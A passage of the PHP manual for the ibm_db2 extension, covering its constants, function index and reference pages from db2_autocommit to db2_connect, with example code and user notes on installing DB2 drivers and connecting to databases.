Resource Types

The ibm_db2 extension returns connection resources, statement resources, and result set resources.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

DB2_BINARY (integer)
Specifies that binary data shall be returned as is. This is the default mode.
DB2_CONVERT (integer)
Specifies that binary data shall be converted to a hexadecimal encoding and returned as an ASCII string.
DB2_PASSTHRU (integer)
Specifies that binary data shall be converted to a NULL value.
DB2_SCROLLABLE (integer)
Specifies a scrollable cursor for a statement resource. This mode enables random access to rows in a result set, but currently is supported only by IBM DB2 Universal Database.
DB2_FORWARD_ONLY (integer)
Specifies a forward-only cursor for a statement resource. This is the default cursor type and is supported on all database servers.
DB2_PARAM_IN (integer)
Specifies the PHP variable should be bound as an IN parameter for a stored procedure.
DB2_PARAM_OUT (integer)
Specifies the PHP variable should be bound as an OUT parameter for a stored procedure.
DB2_PARAM_INOUT (integer)
Specifies the PHP variable should be bound as an INOUT parameter for a stored procedure.
DB2_PARAM_FILE (integer)
Specifies that the column should be bound directly to a file for input.
DB2_AUTOCOMMIT_ON (integer)
Specifies that autocommit should be turned on.
DB2_AUTOCOMMIT_OFF (integer)
Specifies that autocommit should be turned off.
DB2_DOUBLE (integer)
Specifies that the variable should be bound as a DOUBLE, FLOAT, or REAL data type.
DB2_LONG (integer)
Specifies that the variable should be bound as a SMALLINT, INTEGER, or BIGINT data type.
DB2_CHAR (integer)
Specifies that the variable should be bound as a CHAR or VARCHAR data type.
DB2_CASE_NATURAL (integer)
Specifies that column names will be returned in their natural case.
DB2_CASE_LOWER (integer)
Specifies that column names will be returned in lower case.
DB2_CASE_UPPER (integer)
Specifies that column names will be returned in upper case.
DB2_DEFERRED_PREPARE_ON (integer)
Specifies that deferred prepare should be turned on for the specified statement resource.
DB2_DEFERRED_PREPARE_OFF (integer)
Specifies that deferred prepare should be turned off for the specified statement resource.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
IBM DB2 Functions
IBM DB2


IBM DB2 Functions

Table of Contents

  • db2_autocommit — Returns or sets the AUTOCOMMIT state for a database connection
  • db2_bind_param — Binds a PHP variable to an SQL statement parameter
  • db2_client_info — Returns an object with properties that describe the DB2 database client
  • db2_close — Closes a database connection
  • db2_column_privileges — Returns a result set listing the columns and associated privileges for a table
  • db2_columns — Returns a result set listing the columns and associated metadata for a table
  • db2_commit — Commits a transaction
  • db2_conn_error — Returns a string containing the SQLSTATE returned by the last connection attempt
  • db2_conn_errormsg — Returns the last connection error message and SQLCODE value
  • db2_connect — Returns a connection to a database
  • db2_cursor_type — Returns the cursor type used by a statement resource
  • db2_escape_string — Used to escape certain characters
  • db2_exec — Executes an SQL statement directly
  • db2_execute — Executes a prepared SQL statement
  • db2_fetch_array — Returns an array, indexed by column position, representing a row in a result set
  • db2_fetch_assoc — Returns an array, indexed by column name, representing a row in a result set
  • db2_fetch_both — Returns an array, indexed by both column name and position, representing a row in a result set
  • db2_fetch_object — Returns an object with properties representing columns in the fetched row
  • db2_fetch_row — Sets the result set pointer to the next row or requested row
  • db2_field_display_size — Returns the maximum number of bytes required to display a column
  • db2_field_name — Returns the name of the column in the result set
  • db2_field_num — Returns the position of the named column in a result set
  • db2_field_precision — Returns the precision of the indicated column in a result set
  • db2_field_scale — Returns the scale of the indicated column in a result set
  • db2_field_type — Returns the data type of the indicated column in a result set
  • db2_field_width — Returns the width of the current value of the indicated column in a result set
  • db2_foreign_keys — Returns a result set listing the foreign keys for a table
  • db2_free_result — Frees resources associated with a result set
  • db2_free_stmt — Frees resources associated with the indicated statement resource
  • db2_get_option — Retrieves an option value for a statement resource or a connection resource
  • db2_last_insert_id — Returns the auto generated ID of the last insert query that successfully executed on this connection
  • db2_lob_read — Gets a user defined size of LOB files with each invocation
  • db2_next_result — Requests the next result set from a stored procedure
  • db2_num_fields — Returns the number of fields contained in a result set
  • db2_num_rows — Returns the number of rows affected by an SQL statement
  • db2_pclose — Closes a persistent database connection
  • db2_pconnect — Returns a persistent connection to a database
  • db2_prepare — Prepares an SQL statement to be executed
  • db2_primary_keys — Returns a result set listing primary keys for a table
  • db2_procedure_columns — Returns a result set listing stored procedure parameters
  • db2_procedures — Returns a result set listing the stored procedures registered in a database
  • db2_result — Returns a single column from a row in the result set
  • db2_rollback — Rolls back a transaction
  • db2_server_info — Returns an object with properties that describe the DB2 database server
  • db2_set_option — Set options for connection or statement resources
  • db2_special_columns — Returns a result set listing the unique row identifier columns for a table
  • db2_statistics — Returns a result set listing the index and statistics for a table
  • db2_stmt_error — Returns a string containing the SQLSTATE returned by an SQL statement
  • db2_stmt_errormsg — Returns a string containing the last SQL statement error message
  • db2_table_privileges — Returns a result set listing the tables and associated privileges in a database
  • db2_tables — Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

Richard dot Ablewhite at gmail dot com 11-Sep-2008 03:17
There seems to be a lot of good documentation
for Linux users compiling PHP with DB2 support,
but decent Windows notes are minimal.

You do not need to install full DB2 clients to get DB2
working with DB2, all you need is the IBM Data
Server Driver for ODBC, CLI, and .NET which is only
16.1 meg.

You can download the driver from here:

Direct Link:
ftp://ftp.software.ibm.com/ps/products/db2/fixes2/englsh-us/
db2_v95/dsdriver/fp2/v9.5fp2_nt32_dsdriver_EN.exe

Home Page:
http://www-01.ibm.com/support/docview.wss?rs=71&uid=swg21287889

This includes both the drivers required and the PHP
dll php_ibm_db2_5.2.2.dll

Once installed the drivers do not setup the correct
path environmental variable,
so add the following to your path:

C:\Program Files\IBM\IBM DATA SERVER DRIVER\bin

Once thats done all should work! No massive
400meg client downloads required.

Whats even better about these drivers is that you
dont need to install them,
you can simply copy the bin directory to any server,
add it to your path and it will just work.
This is great for anyone developing PHP-GTK applications,
I copy the bin directory into my php-gkt2 directory
and execute using the following batch script:

path = %PATH%;.\IBM DATA SERVER DRIVER\bin
php-win.exe %*

This lets me role out lightweight DB2 client desktop
apps that dont have to be installed,
can just be coppied from PC to PC or ran over a
network or from USB stick.

As your only installing the client drivers you wont be
able to catalog databases,
so always use the full connection string. Here is a
quick bit of code to get you started:

$database = 'databasename';
$user = 'user';
$password = 'password';
$hostname = '127.0.0.1';
$port = 50000;

$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;" .
  "HOSTNAME=$hostname;PORT=$port;".
  "PROTOCOL=TCPIP;UID=$user;PWD=$password;";
$conn = db2_connect($conn_string, '', '');

$query = 'SELECT * FROM TABLE';
$res = db2_prepare($conn, $query);
db2_execute($res);

while ($row = db2_fetch_array($res)) {
  print_r($row);
}
brent dot halsey at gmail dot com 11-Jun-2008 10:57
Spent a lot of time trying to get this to work on a 64bit box.  You'll need to make sure you set your db2 client to 64 bit mode!  If you didn't set your instance to 64bit, you can run ./db2iupdt -w64 db2instance as root to set it.  Hope this helps someone!
Exi 05-Jun-2008 01:38
The DB/2 Run-Time-Client can be found here:
http://www-1.ibm.com/support/docview.wss?rs=71&uid=swg21255394
Select the 'Runtime Client Installable for Windows' further down the page and download it.
Clients for other platform (incl. 64-Bit Windows) are also available from that page.
kfoubert at sitecrafting dot com 29-Apr-2008 11:00
If you wish to connect to an iSeries Server, such as an AS/400, there are two options. Installing DB2 Express-C v9.5 and purchasing DB2 Connect Personal Edition for about $500 or getting System I Access for Linux, which is a free download. Please note the server requirements for each of these. For example, we originally went with DB2 Express-C and decided upon Ubuntu 7.10, but learned about System I Access, from an IBM rep, which requires redhat package manager, after the entire server was up and running.

DB2 Express-C
http://www-306.ibm.com/software/data/db2/express/

DB2 Connect Personal
http://www-306.ibm.com/software/data/db2/db2connect/edition-pe.html

System I Access for Linux
http://www-03.ibm.com/systems/i/software/access/index.html
NOTE: System I Access requires redhat package manager.
Predefined Constants
db2_autocommit
IBM DB2


Returns or sets the AUTOCOMMIT state for a database connection

IBM DB2 Functions
db2_bind_param
IBM DB2 Functions
PHP Manual

db2_autocommit

(PECL ibm_db2 >= 1.0.0)

db2_autocommit — Returns or sets the AUTOCOMMIT state for a database connection

Description

mixed db2_autocommit ( resource $connection [, bool $value ] )

Sets or gets the AUTOCOMMIT behavior of the specified connection resource.

Parameters

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

value

One of the following constants:

DB2_AUTOCOMMIT_OFF

Turns AUTOCOMMIT off.

DB2_AUTOCOMMIT_ON

Turns AUTOCOMMIT on.

Return Values

When db2_autocommit() receives only the connection parameter, it returns the current state of AUTOCOMMIT for the requested connection as an integer value. A value of 0 indicates that AUTOCOMMIT is off, while a value of 1 indicates that AUTOCOMMIT is on.

When db2_autocommit() receives both the connection parameter and autocommit parameter, it attempts to set the AUTOCOMMIT state of the requested connection to the corresponding state. Returns TRUE on success or FALSE on failure.

Examples

Example #1 Retrieving the AUTOCOMMIT value for a connection

In the following example, a connection which has been created with AUTOCOMMIT turned off is tested with the db2_autocommit() function.

<?php
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);
$conn = db2_connect($database, $user, $password, $options);
$ac = db2_autocommit($conn);
if ($ac == 0) {
    print "$ac -- AUTOCOMMIT is off.";
} else {
    print "$ac -- AUTOCOMMIT is on.";
}
?>

The above example will output:

0 -- AUTOCOMMIT is off.

Example #2 Setting the AUTOCOMMIT value for a connection

In the following example, a connection which was initially created with AUTOCOMMIT turned off has its behavior changed to turn AUTOCOMMIT on.

<?php
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);
$conn = db2_connect($database, $user, $password, $options);

// Turn AUTOCOMMIT on
$rc = db2_autocommit($conn, DB2_AUTOCOMMIT_ON);
if ($rc) {
    print "Turning AUTOCOMMIT on succeeded.\n";
}

// Check AUTOCOMMIT state
$ac = db2_autocommit($conn);
if ($ac == 0) {
    print "$ac -- AUTOCOMMIT is off.";
} else {
    print "$ac -- AUTOCOMMIT is on.";
}
?>

The above example will output:

Turning AUTOCOMMIT on succeeded.
1 -- AUTOCOMMIT is on.

See Also

  • db2_connect() - Returns a connection to a database
  • db2_pconnect() - Returns a persistent connection to a database

User Contributed Notes

There are no user contributed notes for this page.
IBM DB2 Functions
db2_bind_param
IBM DB2 Functions


Binds a PHP variable to an SQL statement parameter

db2_autocommit
db2_client_info
IBM DB2 Functions
PHP Manual

db2_bind_param

(PECL ibm_db2 >= 1.0.0)

db2_bind_param — Binds a PHP variable to an SQL statement parameter

Description

bool db2_bind_param ( resource $stmt , int $parameter-number , string $variable-name [, int $parameter-type [, int $data-type = 0 [, int $precision = -1 [, int $scale = 0 ]]]] )

Binds a PHP variable to an SQL statement parameter in a statement resource returned by db2_prepare(). This function gives you more control over the parameter type, data type, precision, and scale for the parameter than simply passing the variable as part of the optional input array to db2_execute().

Parameters

stmt

A prepared statement returned from db2_prepare().

parameter-number

Specifies the 1-indexed position of the parameter in the prepared statement.

variable-name

A string specifying the name of the PHP variable to bind to the parameter specified by parameter-number.

parameter-type

A constant specifying whether the PHP variable should be bound to the SQL parameter as an input parameter (DB2_PARAM_IN), an output parameter (DB2_PARAM_OUT), or as a parameter that accepts input and returns output (DB2_PARAM_INOUT). To avoid memory overhead, you can also specify DB2_PARAM_FILE to bind the PHP variable to the name of a file that contains large object (BLOB, CLOB, or DBCLOB) data.

data-type

A constant specifying the SQL data type that the PHP variable should be bound as: one of DB2_BINARY, DB2_CHAR, DB2_DOUBLE, or DB2_LONG .

precision

Specifies the precision with which the variable should be bound to the database. This parameter can also be used for retrieving XML output values from stored procedures. A non-negative value specifies the maximum size of the XML data that will be retrieved from the database. If this parameter is not used, a default of 1MB will be assumed for retrieving the XML output value from the stored procedure.

scale

Specifies the scale with which the variable should be bound to the database.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Binding PHP variables to a prepared statement

The SQL statement in the following example uses two input parameters in the WHERE clause. We call db2_bind_param() to bind two PHP variables to the corresponding SQL parameters. Notice that the PHP variables do not have to be declared or assigned before the call to db2_bind_param(); in the example, $lower_limit is assigned a value before the call to db2_bind_param(), but $upper_limit is assigned a value after the call to db2_bind_param(). The variables must be bound and, for parameters that accept input, must have any value assigned, before calling db2_execute().

<?php

$sql = 'SELECT name, breed, weight FROM animals
    WHERE weight > ? AND weight < ?';
$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql);

// We can declare the variable before calling db2_bind_param()
$lower_limit = 1;

db2_bind_param($stmt, 1, "lower_limit", DB2_PARAM_IN);
db2_bind_param($stmt, 2, "upper_limit", DB2_PARAM_IN);

// We can also declare the variable after calling db2_bind_param()
$upper_limit = 15.0;

if (db2_execute($stmt)) {
    while ($row = db2_fetch_array($stmt)) {
        print "{$row[0]}, {$row[1]}, {$row[2]}\n";
    }
}
?>

The above example will output:

Pook, cat, 3.2
Rickety Ride, goat, 9.7
Peaches, dog, 12.3

Example #2 Calling stored procedures with IN and OUT parameters

The stored procedure match_animal in the following example accepts three different parameters:

  1. an input (IN) parameter that accepts the name of the first animal as input

  2. an input-output (INOUT) parameter that accepts the name of the second animal as input and returns the string TRUE if an animal in the database matches that name

  3. an output (OUT) parameter that returns the sum of the weight of the two identified animals

In addition, the stored procedure returns a result set consisting of the animals listed in alphabetic order starting at the animal corresponding to the input value of the first parameter and ending at the animal corresponding to the input value of the second parameter.

<?php

$sql = 'CALL match_animal(?, ?, ?)';
$conn = db2_connect($database, $user, $password);
$stmt = db2_prepare($conn, $sql);

$name = "Peaches";
$second_name = "Rickety Ride";
$weight = 0;

db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
db2_bind_param($stmt, 2, "second_name", DB2_PARAM_INOUT);
db2_bind_param($stmt, 3, "weight", DB2_PARAM_OUT);

print "Values of bound parameters _before_ CALL:\n";
print "  1: {$name} 2: {$second_name} 3: {$weight}\n\n";

if (db2_execute($stmt)) {
    print "Values of bound parameters _after_ CALL:\n";
    print "  1: {$name} 2: {$second_name} 3: {$weight}\n\n";

    print "Results:\n";
    while ($row = db2_fetch_array($stmt)) {
        print "  {$row[0]}, {$row[1]}, {$row[2]}\n";
    }
}
?>

The above example will output:

Values of bound parameters _before_ CALL:
  1: Peaches 2: Rickety Ride 3: 0

Values of bound parameters _after_ CALL:
  1: Peaches 2: TRUE 3: 22

Results:
  Peaches, dog, 12.3
  Pook, cat, 3.2
  Rickety Ride, goat, 9.7

Example #3 Inserting a binary large object (BLOB) directly from a file

The data for large objects are typically stored in files, such as XML documents or audio files. Rather than reading an entire file into a PHP variable, and then binding that PHP variable into an SQL statement, you can avoid some memory overhead by binding the file directly to the input parameter of your SQL statement. The following example demonstrates how to bind a file directly into a BLOB column.

<?php
$stmt = db2_prepare($conn, "INSERT INTO animal_pictures(picture) VALUES (?)");

$picture = "/opt/albums/spook/grooming.jpg";
$rc = db2_bind_param($stmt, 1, "picture", DB2_PARAM_FILE);
$rc = db2_execute($stmt);
?>

See Also

  • db2_execute() - Executes a prepared SQL statement
  • db2_prepare() - Prepares an SQL statement to be executed

User Contributed Notes

There are no user contributed notes for this page.
db2_autocommit
db2_client_info
IBM DB2 Functions


Returns an object with properties that describe the DB2 database client

db2_bind_param
db2_close
IBM DB2 Functions
PHP Manual

db2_client_info

(PECL ibm_db2 >= 1.1.1)

db2_client_info — Returns an object with properties that describe the DB2 database client

Description

object db2_client_info ( resource $connection )

This function returns an object with read-only properties that return information about the DB2 database client. The following table lists the DB2 client properties:

DB2 client properties
Property name | Return type | Description
APPL_CODEPAGE | int | The application code page.
CONN_CODEPAGE | int | The code page for the current connection.
DATA_SOURCE_NAME | string | The data source name (DSN) used to create the current connection to the database.
DRIVER_NAME | string | The name of the library that implements the DB2 Call Level Interface (CLI) specification.
DRIVER_ODBC_VER | string | The version of ODBC that the DB2 client supports. This returns a string "MM.mm" where MM is the major version and mm is the minor version. The DB2 client always returns "03.51".
DRIVER_VER | string | The version of the client, in the form of a string "MM.mm.uuuu" where MM is the major version, mm is the minor version, and uuuu is the update. For example, "08.02.0001" represents major version 8, minor version 2, update 1.
ODBC_SQL_CONFORMANCE string

The level of ODBC SQL grammar supported by the client:

MINIMUM

Supports the minimum ODBC SQL grammar.

CORE

Supports the core ODBC SQL grammar.

EXTENDED

Supports extended ODBC SQL grammar.

ODBC_VER | string | The version of ODBC that the ODBC driver manager supports. This returns a string "MM.mm.rrrr" where MM is the major version, mm is the minor version, and rrrr is the release. The DB2 client always returns "03.01.0000".

Parameters

connection

Specifies an active DB2 client connection.

Return Values

Returns an object on a successful call. Returns FALSE on failure.

Examples

Example #1 A db2_client_info() example

To retrieve information about the client, you must pass a valid database connection resource to db2_client_info().

<?php
$conn = db2_connect( 'SAMPLE', 'db2inst1', 'ibmdb2' );
$client = db2_client_info( $conn );

if ($client) {
    echo "DRIVER_NAME: ";           var_dump( $client->DRIVER_NAME );
    echo "DRIVER_VER: ";            var_dump( $client->DRIVER_VER );
    echo "DATA_SOURCE_NAME: ";      var_dump( $client->DATA_SOURCE_NAME );
    echo "DRIVER_ODBC_VER: ";       var_dump( $client->DRIVER_ODBC_VER );
    echo "ODBC_VER: ";              var_dump( $client->ODBC_VER );
    echo "ODBC_SQL_CONFORMANCE: ";  var_dump( $client->ODBC_SQL_CONFORMANCE );
    echo "APPL_CODEPAGE: ";         var_dump( $client->APPL_CODEPAGE );
    echo "CONN_CODEPAGE: ";         var_dump( $client->CONN_CODEPAGE );
}
else {
    echo "Error retrieving client information.
     Perhaps your database connection was invalid.";
}
db2_close($conn);

?>

The above example will output:

DRIVER_NAME: string(8) "libdb2.a"
DRIVER_VER: string(10) "08.02.0001"
DATA_SOURCE_NAME: string(6) "SAMPLE"
DRIVER_ODBC_VER: string(5) "03.51"
ODBC_VER: string(10) "03.01.0000"
ODBC_SQL_CONFORMANCE: string(8) "EXTENDED"
APPL_CODEPAGE: int(819)
CONN_CODEPAGE: int(819)

See Also

  • db2_server_info() - Returns an object with properties that describe the DB2 database server

User Contributed Notes

There are no user contributed notes for this page.
db2_bind_param
db2_close
IBM DB2 Functions


Closes a database connection

db2_client_info
db2_column_privileges
IBM DB2 Functions
PHP Manual

db2_close

(PECL ibm_db2 >= 1.0.0)

db2_close — Closes a database connection

Description

bool db2_close ( resource $connection )

This function closes a DB2 client connection created with db2_connect() and returns the corresponding resources to the database server.

If you attempt to close a persistent DB2 client connection created with db2_pconnect(), the close request is ignored and the persistent DB2 client connection remains available for the next caller.

Parameters

connection

Specifies an active DB2 client connection.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Closing a connection

The following example demonstrates a successful attempt to close a connection to an IBM DB2, Cloudscape, or Apache Derby database.

<?php
$conn = db2_connect('SAMPLE', 'db2inst1', 'ibmdb2');
$rc = db2_close($conn);
if ($rc) {
    echo "Connection was successfully closed.";
}
?>

The above example will output:

Connection was successfully closed.

See Also

  • db2_connect() - Returns a connection to a database
  • db2_pclose() - Closes a persistent database connection
  • db2_pconnect() - Returns a persistent connection to a database

User Contributed Notes

There are no user contributed notes for this page.
db2_client_info
db2_column_privileges
IBM DB2 Functions


Returns a result set listing the columns and associated privileges for a table

db2_close
db2_columns
IBM DB2 Functions
PHP Manual

db2_column_privileges

(PECL ibm_db2 >= 1.0.0)

db2_column_privileges — Returns a result set listing the columns and associated privileges for a table

Description

resource db2_column_privileges ( resource $connection [, string $qualifier [, string $schema [, string $table-name [, string $column-name ]]]] )

Returns a result set listing the columns and associated privileges for a table.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. To match all schemas, pass NULL or an empty string.

table-name

The name of the table or view. To match all tables in the database, pass NULL or an empty string.

column-name

The name of the column. To match all columns in the table, pass NULL or an empty string.

Return Values

Returns a statement resource with a result set containing rows describing the column privileges for columns matching the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | Name of the catalog. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema.
TABLE_NAME | Name of the table or view.
COLUMN_NAME | Name of the column.
GRANTOR | Authorization ID of the user who granted the privilege.
GRANTEE | Authorization ID of the user to whom the privilege was granted.
PRIVILEGE | The privilege for the column.
IS_GRANTABLE | Whether the GRANTEE is permitted to grant this privilege to other users.

See Also

  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.
db2_close
db2_columns
IBM DB2 Functions


Returns a result set listing the columns and associated metadata for a table

db2_column_privileges
db2_commit
IBM DB2 Functions
PHP Manual

db2_columns

(PECL ibm_db2 >= 1.0.0)

db2_columns — Returns a result set listing the columns and associated metadata for a table

Description

resource db2_columns ( resource $connection [, string $qualifier [, string $schema [, string $table-name [, string $column-name ]]]] )

Returns a result set listing the columns and associated metadata for a table.

Parameters

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. To match all schemas, pass '%'.

table-name

The name of the table or view. To match all tables in the database, pass NULL or an empty string.

column-name

The name of the column. To match all columns in the table, pass NULL or an empty string.

Return Values

Returns a statement resource with a result set containing rows describing the columns matching the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | Name of the catalog. The value is NULL if this table does not have catalogs.
TABLE_SCHEM | Name of the schema.
TABLE_NAME | Name of the table or view.
COLUMN_NAME | Name of the column.
DATA_TYPE | The SQL data type for the column represented as an integer value.
TYPE_NAME | A string representing the data type for the column.
COLUMN_SIZE | An integer value representing the size of the column.
BUFFER_LENGTH | Maximum number of bytes necessary to store data from this column.
DECIMAL_DIGITS | The scale of the column, or NULL where scale is not applicable.
NUM_PREC_RADIX | An integer value of either 10 (representing an exact numeric data type), 2 (representing an approximate numeric data type), or NULL (representing a data type for which radix is not applicable).
NULLABLE | An integer value representing whether the column is nullable or not.
REMARKS | Description of the column.
COLUMN_DEF | Default value for the column.
SQL_DATA_TYPE | An integer value representing the size of the column.
SQL_DATETIME_SUB | Returns an integer value representing a datetime subtype code, or NULL for SQL data types to which this does not apply.
CHAR_OCTET_LENGTH | Maximum length in octets for a character data type column, which matches COLUMN_SIZE for single-byte character set data, or NULL for non-character data types.
ORDINAL_POSITION | The 1-indexed position of the column in the table.
IS_NULLABLE | A string value where 'YES' means that the column is nullable and 'NO' means that the column is not nullable.

See Also

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

david dot rekowski at gmx dot de 06-Aug-2008 07:21
must be
db2_columns($conn, '', '%', $table, '%');

Don't forget that table names are UPPERCASE. That gave me quite some headache.
lada(at)hoidekr.net 04-Sep-2006 11:48
This is not true!
column-name
    The name of the column. To match all columns in the table, pass NULL or an empty string.

You should pass '%' to match all columns
db2_column_privileges
db2_commit
IBM DB2 Functions


Commits a transaction

db2_columns
db2_conn_error
IBM DB2 Functions
PHP Manual

db2_commit

(PECL ibm_db2 >= 1.0.0)

db2_commit — Commits a transaction

Description

bool db2_commit ( resource $connection )

Commits an in-progress transaction on the specified connection resource and begins a new transaction. PHP applications normally default to AUTOCOMMIT mode, so db2_commit() is not necessary unless AUTOCOMMIT has been turned off for the connection resource.

Parameters

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • db2_autocommit() - Returns or sets the AUTOCOMMIT state for a database connection
  • db2_rollback() - Rolls back a transaction

User Contributed Notes

There are no user contributed notes for this page.
db2_columns
db2_conn_error
IBM DB2 Functions


Returns a string containing the SQLSTATE returned by the last connection attempt

db2_commit
db2_conn_errormsg
IBM DB2 Functions
PHP Manual

db2_conn_error

(PECL ibm_db2 >= 1.0.0)

db2_conn_error — Returns a string containing the SQLSTATE returned by the last connection attempt

Description

string db2_conn_error ([ resource $connection ] )

db2_conn_error() returns an SQLSTATE value representing the reason the last attempt to connect to a database failed. As db2_connect() returns FALSE in the event of a failed connection attempt, you do not pass any parameters to db2_conn_error() to retrieve the SQLSTATE value.

If, however, the connection was successful but becomes invalid over time, you can pass the connection parameter to retrieve the SQLSTATE value for a specific connection.

To learn what the SQLSTATE value means, you can issue the following command at a DB2 Command Line Processor prompt: db2 '? sqlstate-value'. You can also call db2_conn_errormsg() to retrieve an explicit error message and the associated SQLCODE value.

Parameters

connection

A connection resource associated with a connection that initially succeeded, but which over time became invalid.

Return Values

Returns the SQLSTATE value resulting from a failed connection attempt. Returns an empty string if there is no error associated with the last connection attempt.

Examples

Example #1 Retrieving an SQLSTATE value for a failed connection attempt

The following example demonstrates how to return an SQLSTATE value after deliberately passing invalid parameters to db2_connect().

<?php
$conn = db2_connect('badname', 'baduser', 'badpassword');
if (!$conn) {
    print "SQLSTATE value: " . db2_conn_error();
}
?>

The above example will output:

SQLSTATE value: 08001

See Also

  • db2_conn_errormsg() - Returns the last connection error message and SQLCODE value
  • db2_connect() - Returns a connection to a database
  • db2_stmt_error() - Returns a string containing the SQLSTATE returned by an SQL statement
  • db2_stmt_errormsg() - Returns a string containing the last SQL statement error message

User Contributed Notes

There are no user contributed notes for this page.
db2_commit
db2_conn_errormsg
IBM DB2 Functions


Returns the last connection error message and SQLCODE value

db2_conn_error
db2_connect
IBM DB2 Functions
PHP Manual

db2_conn_errormsg

(PECL ibm_db2 >= 1.0.0)

db2_conn_errormsg — Returns the last connection error message and SQLCODE value

Description

string db2_conn_errormsg ([ resource $connection ] )

db2_conn_errormsg() returns an error message and SQLCODE value representing the reason the last database connection attempt failed. As db2_connect() returns FALSE in the event of a failed connection attempt, do not pass any parameters to db2_conn_errormsg() to retrieve the associated error message and SQLCODE value.

If, however, the connection was successful but becomes invalid over time, you can pass the connection parameter to retrieve the associated error message and SQLCODE value for a specific connection.

Parameters

connection

A connection resource associated with a connection that initially succeeded, but which over time became invalid.

Return Values

Returns a string containing the error message and SQLCODE value resulting from a failed connection attempt. If there is no error associated with the last connection attempt, db2_conn_errormsg() returns an empty string.

Examples

Example #1 Retrieving the error message returned by a failed connection attempt

The following example demonstrates how to return an error message and SQLCODE value after deliberately passing invalid parameters to db2_connect().

<?php
$conn = db2_connect('badname', 'baduser', 'badpassword');
if (!$conn) {
    print db2_conn_errormsg();
}
?>

The above example will output:

[IBM][CLI Driver] SQL1013N  The database alias name
or database name "BADNAME" could not be found.  SQLSTATE=42705
 SQLCODE=-1013

See Also

  • db2_conn_error() - Returns a string containing the SQLSTATE returned by the last connection attempt
  • db2_connect() - Returns a connection to a database
  • db2_stmt_error() - Returns a string containing the SQLSTATE returned by an SQL statement
  • db2_stmt_errormsg() - Returns a string containing the last SQL statement error message

User Contributed Notes

nnd100216ibmdb2 at smallcue dot com 16-Feb-2010 07:25
A word of warning:

It appears that if you specify an invalid ibm_db2.instance_name  in your php.ini file, your cataloged db2_connect() will fail with a returned value of false and when you use db2_conn_error() or db2_conn_errormsg() to check on the reason, those functions will return an empty string.
db2_conn_error
db2_connect
IBM DB2 Functions


Returns a connection to a database

db2_conn_errormsg
db2_cursor_type
IBM DB2 Functions
PHP Manual

db2_connect

(PECL ibm_db2 >= 1.0.0)

db2_connect — Returns a connection to a database

Description

resource db2_connect ( string $database , string $username , string $password [, array $options ] )

Creates a new connection to an IBM DB2 Universal Database, IBM Cloudscape, or Apache Derby database.

Parameters

database

For a cataloged connection to a database, database represents the database alias in the DB2 client catalog.

For an uncataloged connection to a database, database represents a complete connection string in the following format:

DATABASE=database;HOSTNAME=hostname;PORT=port;PROTOCOL=TCPIP;UID=username;PWD=password;
where the parameters represent the following values:
database

The name of the database.

hostname

The hostname or IP address of the database server.

port

The TCP/IP port on which the database is listening for requests.

username

The username with which you are connecting to the database.

password

The password with which you are connecting to the database.

username

The username with which you are connecting to the database.

For uncataloged connections, you must pass a NULL value or empty string.

password

The password with which you are connecting to the database.

For uncataloged connections, you must pass a NULL value or empty string.

options

An associative array of connection options that affect the behavior of the connection, where valid array keys include:

autocommit

Passing the DB2_AUTOCOMMIT_ON value turns autocommit on for this connection handle.

Passing the DB2_AUTOCOMMIT_OFF value turns autocommit off for this connection handle.

DB2_ATTR_CASE

Passing the DB2_CASE_NATURAL value specifies that column names are returned in natural case.

Passing the DB2_CASE_LOWER value specifies that column names are returned in lower case.

Passing the DB2_CASE_UPPER value specifies that column names are returned in upper case.

CURSOR

Passing the DB2_FORWARD_ONLY value specifies a forward-only cursor for a statement resource. This is the default cursor type and is supported on all database servers.

Passing the DB2_SCROLLABLE value specifies a scrollable cursor for a statement resource. This mode enables random access to rows in a result set, but currently is supported only by IBM DB2 Universal Database.

The following new option is available in ibm_db2 version 1.7.0 and later.

trustedcontext

Passing the DB2_TRUSTED_CONTEXT_ENABLE value turns trusted context on for this connection handle. This parameter cannot be set using db2_set_option().

This key works only if the database is cataloged (even if the database is local), or if you specify the full DSN when you create the connection.

